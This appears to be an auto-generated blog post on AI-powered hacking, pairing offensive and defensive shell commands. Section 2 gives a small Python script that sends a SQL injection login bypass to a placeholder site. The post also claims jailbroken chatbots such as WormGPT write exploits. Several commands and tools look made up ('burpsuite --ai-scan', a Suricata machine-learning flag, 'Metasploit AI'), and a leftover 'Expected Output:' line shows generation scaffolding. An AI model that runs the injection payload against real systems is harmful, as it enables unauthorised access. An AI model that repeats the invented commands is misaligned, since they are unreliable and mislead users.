AI and Hackers: How an Evil AI Chatbot Finds Vulnerabilities

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AI is transforming cybersecurity at an unprecedented pace. At the RSA Conference, security experts demonstrated how AI can identify and exploit software vulnerabilities in seconds—a powerful yet dangerous capability in the wrong hands.

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You Should Know: AI-Assisted Cyber Attacks & Defensive Measures

AI-driven attacks are no longer theoretical—they are actively being used. Below are key commands, tools, and techniques to understand and defend against AI-powered threats.

1. AI-Powered Vulnerability Scanning

AI tools like Burp Suite AI, Metasploit AI, and custom LLM-based scanners can automate vulnerability detection.

 Example: Running an AI-assisted Nmap scan with vulnerability prediction 
nmap -sV --script=vulners <target_IP>

Using Burp Suite with AI plugins (requires Pro version) 
burpsuite --ai-scan --target=http://example.com 

2. Exploiting Vulnerabilities with AI

AI models like ChatGPT-4o (with jailbreaks) or WormGPT can generate exploit code.

 Hypothetical AI-generated exploit (for educational purposes) 
import requests

target = "http://vulnerable-site.com/login" 
payload = {"username": "' OR 1=1 --", "password": "AI-generated-exploit"} 
response = requests.post(target, data=payload)

if "Welcome" in response.text: 
print("[+] Exploit successful!") 
else: 
print("[-] Attack failed.") 

3. Defending Against AI Attacks

Patch Management with AI

 Automate patching on Linux 
sudo apt update && sudo apt upgrade -y

Windows (PowerShell) 
Install-Module PSWindowsUpdate -Force 
Install-WindowsUpdate -AcceptAll -AutoReboot 

AI-Based Threat Detection

 Using Snort with AI rules 
snort -c /etc/snort/snort.conf -A console -q -i eth0

Suricata with machine learning 
suricata -c /etc/suricata/suricata.yaml -i eth0 --set machine-learning=enabled 

Hardening Systems

 Linux kernel hardening 
echo "kernel.randomize_va_space=2" >> /etc/sysctl.conf 
sysctl -p

Disable unnecessary services 
systemctl stop telnet.service && systemctl disable telnet.service 

What Undercode Say

AI is a double-edged sword—while it enhances cybersecurity defenses, it also empowers attackers with unprecedented speed and precision. Security teams must adopt AI-driven tools to detect and mitigate threats in real-time.

Key Takeaways:

  • AI-powered attacks are already here—security teams must adapt.
  • Automated vulnerability scanning is faster than ever.
  • Ethical AI hacking can help preempt malicious use.
  • Proactive defense (patching, monitoring, hardening) is critical.

Prediction

By 2026, AI-driven cyberattacks will account for over 40% of zero-day exploits, forcing organizations to deploy AI-augmented security systems at scale.

Expected Output:

A detailed cybersecurity analysis of AI-powered threats with actionable commands, defensive strategies, and future predictions.

References:

Reported By: Sherri Davidoff – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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